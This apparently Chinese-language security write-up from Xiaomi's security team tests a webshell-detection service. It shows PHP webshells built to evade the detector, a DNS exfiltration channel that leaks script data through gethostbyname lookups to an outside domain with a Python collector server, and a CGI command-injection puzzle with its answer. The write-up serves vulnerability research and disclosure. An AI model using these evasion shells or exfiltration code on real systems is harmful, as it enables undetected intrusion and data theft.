注:本文为“小米安全中心”原创,作者: 我不知道该唱什么

这个恶意软件检测服务的关注点主要在web脚本后门,即webshell上。服务的具体形态是:上传脚本文件(支持压缩包),然后服务在后台对上传的文件进行检测,完毕后显示有所上传文件中有哪些文件是恶意脚本,以类似如下的形式:

------------------------------------
/e.php              中国菜刀变形
/index.php          正常
/upload.php         正常
/lib/core.class.php 正常
/lib/wtf.class.php  正常
...
------------------------------------

我会按照如下顺序介绍对这个检测引擎的测试:

  1. 基本原理测试 / 针对该引擎的免杀
  2. 实现引擎与外部交互的数据通道
  3. 实现本地IO操作 / 任意代码执行

注意,第三步实现任意代码执行的操作很简单,只是用了相应语言的几个标准功能。

因为这个系统过于依赖于第二步,即攻击者没有渠道获取php的执行细节和结果,所以没有投入足够的精力来做它的沙盒。本文仍以测试的时间顺序来描述,但以下文字主要描述在第一二步。

基本原理测试 / 针对该检测的免杀

这个检查系统的官方介绍中提到是“动态监测技术”技术,通过下文所述的测试,可以发现这个系统是通过评估脚本中每个操作和其运行结果(因为运行结果可能会作为下一个操作的输入),包括字符串操作、压缩解压、动态执行等,来检测脚本代码中是否含有特定行为来判断对应脚本是否恶意。这里很重要的一点是检查引擎实现的操作都有什么,这些操作是否有些行为我们可以利用(来做坏事,比如IO、进程控制等典型高危操作)。

这个方案最简单的实现方式是修改一个php解释器,然后在关注的操作处进行行为审计来判断脚本是否恶意。一个显而易见需要注意的地方就是因为php解释器是完全实现的,所以原来虚拟机所实现的IO和进程操作接口可能导致检测脚本对检测引擎本身所在环境产生一些不期望的更改,这里需要修改这些编程接口的行为。

这里还有一个问题,在脚本出现分支结构的情况下,如果执行时环境(远端内容、当前时间)不符合某些代码块的执行条件,有些代码逻辑就执行不到。

这时候如果不作处理就会出现漏判,也就造就了一种免杀方法。所以最好要做到遍历程序的所有执行路径。

如果不是全量对程序执行路径进行分片,一个比较简单的方法是解释器忽略所有跳转语句,一直按照指令执行下去,如此就把if/switch之类的分支结构都磨平了。这里值得注意的一点是需要注意操作exit/return等退出函数防止检查提前终止。

但是这个方法虽然防止了某些免杀方法,实现起来也很容易,但是却使得检测器和真实解释器在行为上有了不一致。

对客体的处理在模型以及行为上的不一致往往导致对相同对象的不同理解。这在检测系统上通常意味着导致规避检测,这种情况在对WAF/NIDS上的exploit FUD、对杀毒软件的免杀等各个检测系统上均有体现。

如按照以上思路实现,依具体代码实现而异,可以快速想到有如下可能的方式对webshell做免杀:

第一种是利用对return的处理不当:

<?php if(0) return 1;
eval($_COOKIE['id']);

下面是这段代码的opcode,在判断脚本结束时,正确的做法是在执行一个代码块时,首先取到op的个数,比如在官方php实现中zend_op_array结构中的last记录了当前op数组的大小,直到把所有opcode执行完毕。这里实现有一个容易出现的错误,就是以顶层的RETURN 1作为脚本结束的标志,因为php在脚本结束时总会返回1来使执行循环execute_ex跳回上层代码段,如下面的第五行:

#* op              fetch  ext  return  operands
-------------------------------------------------
0  JMPZ                                0, ->2
1  RETURN                              1
2  FETCH_R         global      $0      '_COOKIE'
3  FETCH_DIM_R                 $1      $0, 'id'
4  INCLUDE_OR_EVAL                     $1, EVAL
5  RETURN                              1

第二种是通过逻辑分支抹去变量污点:

<?php
@$a = $_COOKIE['id'];
$b='test';
if (1) {
    $c = $a;
}
else {
    $c = $b;
}
@eval($c);

因为解释器忽略了跳转语句,所以污点变量在检测引擎的解释下,会被赋值两次。第二次赋值后变白。

当然如果我们实现自己的外部变量动态内容和脚本内静态字符串匹配替换的方法,或者结合多个文件,动态加载等功能同样可能基于各种不同的代码实现来实现对此类系统免杀,但上面这两段代码利用点单一,可以辅助我们判断在文章最开始对检测系统实现机制的猜测。

针对当前的系统,在这个系统最初公开发布的时候我测试,两个都是有效免杀的。但是在这次测试中,第一种失效了,第二种仍然可以免杀。

我们测试下该系统的检查范围:

<?php
function a() {
    eval($_GET['id']);
}

如上代码会被判定为安全,这说明这个系统只从脚本入口开始执行,然后依次检查所有被调用到的代码块。

基于以上的测试,我们可以推断最初对检测模型的猜测在思路上是大致正确的。

实现与外部交互的数据通道

如果想利用这个服务,已知的是我们通过上传php文件,已经可以在其上运行一部分代码了,但是哪些操作被实现会真正产生后果、哪些操作根本没有被实现我们还不知道。

另外该服务仅仅会返回该文件是否是webshell,对于我们脚本的运行的结果,哪些操作成功了哪些没成功我们获取不了任何信息。

所以首要工作是获取一个和外部输出信息的通道。

这里我就把两次提交的问题合并在一起写了。我会只注重写我的解决方法和我认为有必要的思考过程。

我首先测试的是mysql_connect,由于提供这个服务的公司是个比较有名的公司,所以他们公司内网门户的地址基本是周知的。这里测试mysql_connect("someportal.com:80"),前端报检测超时,测试外网机器mysql_connect("hellmyhero.hackshell.net:80")发现外网机器没有收到流量,这说明通过mysql_connect我们可以对内网机器发送数据,却不能对外网做相应的操作。那么这个限制是在哪里做的?如果他们在引擎实现时照顾到了mysql_connect这个点,则他们没有理由在代码层面允许内网连接而不允许外网连接。

所以这里可以推测这个外网限制是在所在机器的操作系统或者网络设备层面做出的限制(有极小可能只限制了tcp,但是事后证明不是,机器路由表里只有对内网的路由项)。

所以我们在底层就被限制住了连接不到公网。那么在现在的情况下我们想把php的运行结果输出到外网。我这里分两次想到了两个方法。

第一次提交漏洞时想到的通道是dns解析,经典的企业内网传输信道:

<?php
$a='test';
gethostbyname($a.".hellmyhero.hackshell.net");

经测试这里我们可以把$a变量的内容传送出来。其原理是虽然本机所有对外网的访问都被隔绝了,但是dns查询请求会被隔离的本机发往本地dns发送请求,本地dns会向该域(hellmyhero.hackshell.net)的权威dns发起查询。之后就可以在hellmyhero.hackshell.net的ns记录所对应的机器上通过tcpdump抓取被请求的域名:

]# tcpdump -i eth0 dst port 53 and dst host 1.1.1.1
03:14:45.706231 IP 1.1.1.1.8237 > test.domain: 25829+ A? test.hellmyhero.hackshell.net. (47)

这里用tcpdump的好处是不用自己编程解析dns请求,劣处是没有返回响应,客户端会重试从而产生多条记录。

这里有一个问题,就是一个域名的长度是限制的,我们发送不了过长内容,另外根据客户端实现,请求内可含有的可用字符也受限制。所以需要分割,并做简单编码:

$a=str_replace('/', '-', base64_encode(trim($a)));
for ($i=0,$j=1;$i < 100000; $i+=63,$j++) {
    @gethostbyname($j.substr($a, 0, 63) . '.hellmyhero.hackshell.net');
}

不过这样并不可行,因为解释器做了修改,所有的跳转语句都被抹去,所以该脚本运行后,只会发送$a变量的前63个字节。因此需要显式的写明所有语句:

$a=str_replace('/', '-', base64_encode(trim($a)));
@gethostbyname('1.'.substr($a, 0, 63) . '.hellmyhero.hackshell.net');
@gethostbyname('2.'.substr($a, 63, 63) . '.hellmyhero.hackshell.net');
@gethostbyname('3.'.substr($a, 126, 63) . '.hellmyhero.hackshell.net');
@gethostbyname('4.'.substr($a, 189, 63) . '.hellmyhero.hackshell.net');
@gethostbyname('5.'.substr($a, 252, 63) . '.hellmyhero.hackshell.net');
@gethostbyname('6.'.substr($a, 315, 63) . '.hellmyhero.hackshell.net');
@gethostbyname('7.'.substr($a, 378, 63) . '.hellmyhero.hackshell.net');
@gethostbyname('8.'.substr($a, 441, 63) . '.hellmyhero.hackshell.net');
@gethostbyname('9.'.substr($a, 504, 63) . '.hellmyhero.hackshell.net');
//still goes on...

写到这里发现这个逻辑应该可以通过递归来更简便的实现,以下代码没有在目标环境测试:

function send() {
    static $i=0, $j=1;
    @gethostbyname($j.substr($a, 0, 63) . '.hellmyhero.hackshell.net');
    $i+=63;$j++;
    if($i >= 1000) return;
    return send();
}

前面的序号是为了应对乱序请求。同时写一个服务端,解析dns请求,拼装字符串做解码,并返回dns响应内容,防止dns客户端多次重试增加脚本执行成本。

利用原生socket和dnspython模块的to_wire/from_wire方法可以很容易的实现一个dns服务器。demo代码:

def print_echo():
   global echo_text
   i = 1
   base64ed = ""
   while True:
       if i not in echo_text:
           print "[i] missing segment %d" % i
           break
       base64ed += echo_text[i]
       i += 1
   base64ed = base64ed.replace('-', '/')
   open('./base', 'w').write(base64ed)
   print "task result: %s" % base64.decodestring(base64ed)
   echo_text = {}
   return True

def deal_a(msg):
    global echo_text
    q = msg.question[0]
    ret = dns.rrset.from_text('example.com', 10, q.rdclass, q.rdtype, '123.58.180.8')
    msg.answer = [ret,]
    msg.flags = 0x8500
    return msg

while True:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('', 53))
    echo_text = {}
    try:
        msg, addr = s.recvfrom(8192)

        x = dns.message.from_wire(msg)
        q = x.question[0]
        print q.name.to_text()
        x = deal_a(x)
        if x is None:
            continue

        s.sendto(x.to_wire(), addr)
    except (KeyboardInterrupt, SystemExit):
        print_echo()

这里还有一个问题是多次gethostbyname会使脚本超时被杀。我的解决方法是利用该服务的压缩包检测功能,可以把多个substr放到多个文件里面,用脚本生成多个文件去检测,而域名前面的序号会照顾乱序的问题。

以上问题加上后面命令执行的问题提交后,检测引擎和内网本地dns的通信也被阻隔了(可能是移除了/etc/resolv.conf配置项,也可能是在底层添加了acl)。那么这种情况下是否还有其他方式可以把php中某个变量的内容传送出来?

下周的第(二)部分会给出我的思路。同时欢迎大家把这个问题的相关思路或对本文的意见和建议写到下面评论,好的思路或者分析会有相应小奖励。

 

问题

如下是一个运行在root用户下的CGI程序,请说出可能的达成命令执行攻击的方法。

#!/bin/bash

[ -f /scripts/utils.sh ] && . /scripts/utils.sh
type -t do_log | grep -q function && do_log "Interface called @ `date`"

urldecode() {
    local url_encoded="${1//+/ }"
    printf '%b' "${url_encoded//%/\\x}"
}

oIFS=$IFS
IFS=$'\n';
for i in `env`;do
    eval "${i%%=*}=\`urldecode \$${i%%=*}\`";
done
IFS=$oIFS
echo 

result=`curl http://sec.xiaomi.com/iface.php?id=$QUERY_STRING`
if [ "x$result" = "x" ]; then
    echo "ok";
else
    echo "failed: $result";
fi

 

答案,究竟是什么呢?

它就是▼▼▼

正确答案

bash

bash变量里的内容在使用时不会被解析诸如`或"等控制符号。但是会以空格分隔为独立的调用参数。

利用curl的-o参数可以任意写文件,同时利用--resolve参数更改解析可以控制写入内容,这样可以利用一些写权限变可执行的方法来实现命令执行。

poc中是通过覆盖脚本中导入的脚本来执行命令。

微信公众号:qrcode

小米安全中心:http://sec.xiaomi.com/

【注:本文为“小米安全中心”原创  作者: 我不知道该唱什么  安全脉搏整理发布】

源链接

Hacking more

...